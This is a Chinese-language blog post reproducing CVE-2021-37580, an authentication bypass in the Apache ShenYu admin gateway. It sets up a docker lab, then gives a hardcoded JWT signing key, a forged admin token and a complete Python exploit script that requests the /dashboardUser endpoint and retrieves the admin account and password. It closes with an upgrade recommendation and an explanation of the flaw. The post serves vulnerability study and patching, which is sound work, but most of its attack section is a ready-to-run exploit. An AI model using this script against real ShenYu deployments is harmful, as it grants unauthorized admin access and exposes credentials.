Apache ShenYu 网关JWT认证绕过漏洞 CVE-2021-37580

Apache ShenYu 网关JWT认证绕过漏洞 CVE-2021-37580 已亲自复现

Apache ShenYu 网关JWT认证绕过漏洞 CVE-2021-37580 已亲自复现)

漏洞名称

漏洞描述

Apache ShenYu是一个异步的,高性能的,跨语言的,响应式的API网关,Apache ShenYu功能十分强大且易于扩展,支持各种语言的http协议,同时支持Dubbo、 Spring Cloud、 gRPC、 Motan、 Sofa、 Tars 等协议。2021年11月,Apache ShenYu被爆出存在身份认证绕过漏洞,攻击者可以通过该漏洞绕过JWT(JSON Web Token)安全认证机制,直接进入系统后台。

影响版本

Apache ShenYu 2.3.0

Apache ShenYu 2.4.0

漏洞复现

环境搭建

受害者IP:192.168.63.129:9095

攻击者IP:192.168.63.1

docker直接拉取环境

bash 复制代码
docker pull apache/shenyu-admin:2.4.0
docker network create shenyu
docker run -d -p 9095:9095 --net shenyu apache/shenyu-admin:2.4.0

环境启动后,访问http://192.168.63.129:9095即可看到一个shenyu页面,说明已成功启动,使用admin/123456登录系统。

漏洞利用

创建一个wahaha/wahaha,权限为default,使用刚创建的用户登录系统。

显示登录用户的角色未配置菜单权限

使用burp抓包,在响应体中返回了token。

更改请求路径为/dashboardUser,并在请求头加入X-Access-Token字段,成功返回admin的账户和密码。

bash 复制代码
X-Access-Token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6IndhaGFoYSIsImV4cCI6MTcwMzE0MTE1Nn0.Y0U14VyZ0aQ32Y-YX9tz7LF3qCD_R5GPxP563BOUDEs

如果没有获取到普通用户的token,可以使用脚本生成admin的token,成功获取信息。

bash 复制代码
pip install PyJWT
python cve-2021-37580.py http://192.168.63.129:9095
bash 复制代码
import time
from jwt import PyJWT

if __name__ == "__main__":
    headers = {
        "alg": "HS256",
        "typ": "JWT"
    }
    salt = "2095132720951327"
    exp = int(time.time())
    payload = {
        "userName": 'admin',
        "exp": exp
    }
    token = PyJWT().encode(payload=payload, key=salt,algorithm='HS256', headers=headers)
    print(token)


完整的EXP:

bash 复制代码
import requests
import re
import time
from jwt import PyJWT


def generateToken():
    headers = {
        "alg": "HS256",
        "typ": "JWT"
    }
    salt = "2095132720951327"
    exp = int(time.time())
    payload = {
        "userName": 'admin',
        "exp": exp
    }
    token = PyJWT().encode(payload=payload, key=salt,algorithm='HS256', headers=headers)
    return token


if __name__ == "__main__":
    import sys
    try:
        url=sys.argv[1]
    except:
        print("Usage: %s http://www.baidu.com")
        exit(0)
    if isinstance(url,str):
        url1 = url + '/dashboardUser'
        headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0',
            'X-Access-Token': generateToken()
        }
        try:
            response = requests.get(url1, headers=headers, verify=False, timeout=3).json()
            print(response)
        except:
            print("没有该漏洞")

修复建议

1、升级至最新版本

https://shenyu.apache.org/download/

总结

payload的意思是使用了一个JWT令牌(X-Access-Token),对其进行Base64解码可得到攻击者尝试的用户为 "userName": "admin"。由于服务端在使用JWT的时候,也没有校验key,导致任意能解码的JWT,并且只要用户(userName的值)存在,都能通过校验。如果攻击成功,在响应头中返回的状态码为200,且在响应体中返回"query success"、"userName":""、"passwprd":""字样。

相关推荐
Bruce_Liuxiaowei40 分钟前
安全分析:Zabbix 路径探测请求解析
安全·网络安全·zabbix
武汉唯众智创1 小时前
高职院校“赛岗课”一体化网络安全实战类人才培养方案
网络·安全·web安全·网络安全·“赛岗课”一体化·赛岗课
2501_915918412 小时前
iPhone 抓包工具有哪些?多工具对比分析优缺点
websocket·网络协议·tcp/ip·http·网络安全·https·udp
游戏开发爱好者86 小时前
iOS 出海 App 安全加固指南:无源码环境下的 IPA 加固与防破解方法
websocket·网络协议·tcp/ip·http·网络安全·https·udp
2501_915921437 小时前
苹果App上架流程:不用Mac也可以上架的方法
websocket·网络协议·tcp/ip·http·网络安全·https·udp
网硕互联的小客服10 小时前
服务器经常出现蓝屏是什么原因导致的?如何排查和修复?
运维·服务器·stm32·单片机·网络安全
2501_9160074711 小时前
iOS 性能测试工具全流程:主流工具实战对比与适用场景
websocket·tcp/ip·http·网络安全·https·udp
Aurora_NeAr1 天前
Apache Iceberg数据湖基础
apache
源图客1 天前
Apache Nutch介绍与部署编译
apache·nutch
FreeBuf_1 天前
Apache组件遭大规模攻击:Tomcat与Camel高危RCE漏洞引发数千次利用尝试
java·tomcat·apache